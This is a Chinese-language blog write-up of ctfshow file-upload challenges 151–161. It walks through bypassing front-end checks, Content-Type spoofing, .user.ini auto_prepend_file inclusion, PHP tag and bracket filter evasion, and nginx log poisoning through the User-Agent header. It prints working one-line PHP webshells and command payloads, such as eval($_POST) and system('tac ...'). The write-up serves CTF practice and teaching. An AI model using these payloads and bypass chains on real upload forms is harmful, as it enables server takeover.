1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-PHP语言特性
前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
ctfshow例题
一:151 前台校验不可靠 Content-Type: image/png
1.1 查看网页源代码发现通过修改exts的值可以修改文件上传的类型
1.2 通过修改前台的exts的值为php上传一句话木马
1.3 上传成功:
1.4 蚁剑连接后门
152 后台检验不可靠
2.1 查看网页源代码
2.2 和151前端验证同理,先修改exts的值为php
2.3 直接上传失败,说文件类型不合规,因为前端的绕过了,所以后端有验证
2.4 放包到bp,查看conten-type
这是php文件的
这是png文件的
2.5 修改上传php文件的数据包的content-type为png的
2.6 上传成功,通过蚁剑进行连接
153-JS验证+user.ini
3.1 查看网页源代码,发现同样在前端进行了限制。
3.1.2 修改为php
3.2 抓包修改content-type为png类型
3.2.1 发现上传失败
3.3 尝试再去修改content-Disposition的filename属性值为png
3.4 上传成功
3.4.1 php解析不成功
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
3.5 尝试大小写进行绕过
3.5.1 上传成功
3.5.2 解析失败
3.6 多文件后缀解析绕过
3.6.1 上传成功
3.6.2 解析失败
3.6.3 尝试.user.ini绕过
1 php.ini介绍
https://m.php.cn/article/504214.html
PHP配置文件(php.ini)通常在安装PHP时自动生成,用于配置PHP的各种参数和选项。该文件包含了PHP运行时的所有参数和选项,可以控制PHP的行为和性能特征。
2 user.ini介绍
.user.ini是php防跨站目录访问的文件配置,里面放的是你网站的文件夹路径地址。
目的是防止跨目录访问和文件跨目录读取。
配置文件都是放在根目录 .user.ini
https://www.cnblogs.com/NineOne/p/14033391.html
3 作用
除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。
也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置
4 漏洞原理
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
或者
auto_append_file=test.jpg
然后将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可,也可蚁剑连接
5 利用过程
5.1 修改前端后缀
5.2 上传.user.ini文件
5.2.1 上传成功
5.3 上传php文件,文件后缀改png
5.3.1 文件上传成功
5.4 蚁剑访问 upload目录(首先问upload目录就是访问upload/index.php,然后index.php包含了.user.ini文件,最后.user.ini包含了1.png后门) 重点:这里png图片木马能够被解析是因为.user.ini包含了这个png文件,并且.user.ini这个文件是以php执行的,所以包含的png图片也会以php的语言去解析
154-JS验证+user.ini+短标签
.user.ini:auto_prepend_file=test.png
1.按照上一关的思路进行尝试绕过
1.1 前端绕过
1.2 修改conten-tpye为png格式 ,上传.user.ini文件
1.3 上传png
1.3.1 上传失败
1.4 猜测可能是对内容进行的检测,尝试测试
1.4.1 删除eval函数一样失败
1.4.2 删除php发现上传成功
猜测是对php进行了内容检测
1.4.3 进一步测试上传php,成功
1.4.4 猜测是<?php过滤 上传失败
应该就是过滤了 <?php 这个组合
1.5 绕过php的几种思路
(1) <? echo '123';?> //前提是开启配置参数short_open_tags=on
(2) <?=(表达式)?> //不需要开启参数设置
(3)<% echo '123';%> //前提是开启配置参数asp_tags=on
(4)<script language=”php”>echo '1'; </script> //不需要修改参数开关
因为2.4不需要开启配置参数,因此大多时候2,4
1.6.1 <?=eval($_POST[x]);?> 上传成功
1.6.2 漏洞利用 蚁剑连接 注意是url+/upload 因为.user.ini文件上传在upload目录下
155 和154一样
1.按照上一关的操作进行尝试
1.1 前端绕过
1.2 上传.user.ini文件
1.3 上传一句话
1.4 漏洞利用
156 JS验证+user.ini+短标签+过滤
1.先上传一句话木马,查看是那些地方进行了过滤
发现删除了[]后删除成功,猜测是对 ‘[' ;]'进行了过滤
2.尝试绕过
PHP中使用 [ ] 进行传输数据,也可以使用花括号 { } 传输数据
上传成功
3 按照之前的思路来,上传.user.ini
上传图片
漏洞利用
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST{x});?>
157 JS+user.ini+过滤 ; [] {}
测试发现,过滤了;和{}、[]、{}
这里用新的绕过方式,来绕过 ;和[] {}
通过直接调用命令
<?=sysytem('tac ../fl*')?>来进行绕过
上传成功后,通过.user.ini文件去包含
上传调用命令
访问upload目录,上传成功
payload:
<?=system('tac ../fl*')?>
158 与157一样
159 JS验证+user.ini+短标签+过滤
测试发现,过滤了括号,之前的都不能用了
这里用新的绕过方式
反引号进行绕过
知识点:PHP会尝试将执行运算符(反引号)“``”中的内容作为shell命令来执行,并将其输出信息返回。
使用执行运算符与调用函数shell_exec()的效果相同。在激活了安全模式或者关闭了shell_exec()时是无效的。执行运算符不能在双引号字符串中使用。
使用反引号运算符的效果与函数 shell_exec()相同
payload:
.user.ini:auto_prepend_file=test.png
test.png:<? echo `tac /var/www/html/f*`?>
访问upload目录
160 JS验证+user.ini+短标签+过滤
测试发现,使用的是白名单,之前的都用不了,要用新的绕过方式
绕过方式:包含默认日志,日志记录UA头,UA头写后门代码
因为服务器使用的是nginx中间件,日志文件默认在/var/og/nginx/access.log
先通过.user.ini文件包含默认的日志文件路径,然后在日志文件中的UA头写后门代码,进行上传
.user.ini:auto_prepend_file=test.png
test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
1. 上传包含日志文件的png文件
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
.是连接符 用 “ 绕过
2.上传.user.ini文件,包含3.png文件
3. 查看日志文件是否被包含,访问upload目录
4 修改ua头,上传一句话木马 放包发过去
5 使用system函数读取flag
161 JS验证+user.ini+短标签+过滤+文件头
这一关多了个文件头部检测是否为图片格式文件
gif文件 文件头为:GIF89A 其他的和160关一样
1.上传包含日志的png文件
test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
2 上传.user.ini
.user.ini:GIF89A auto_prepend_file=test.png
3 访问upload目录
4 刷新页面重新抓个包构造UA头一句话木马
5 使用sysytem函数读取flag
标签:WEB,文件,js,mime,user,php,上传,png,ini From: https://www.cnblogs.com/muqing1/p/17307959.html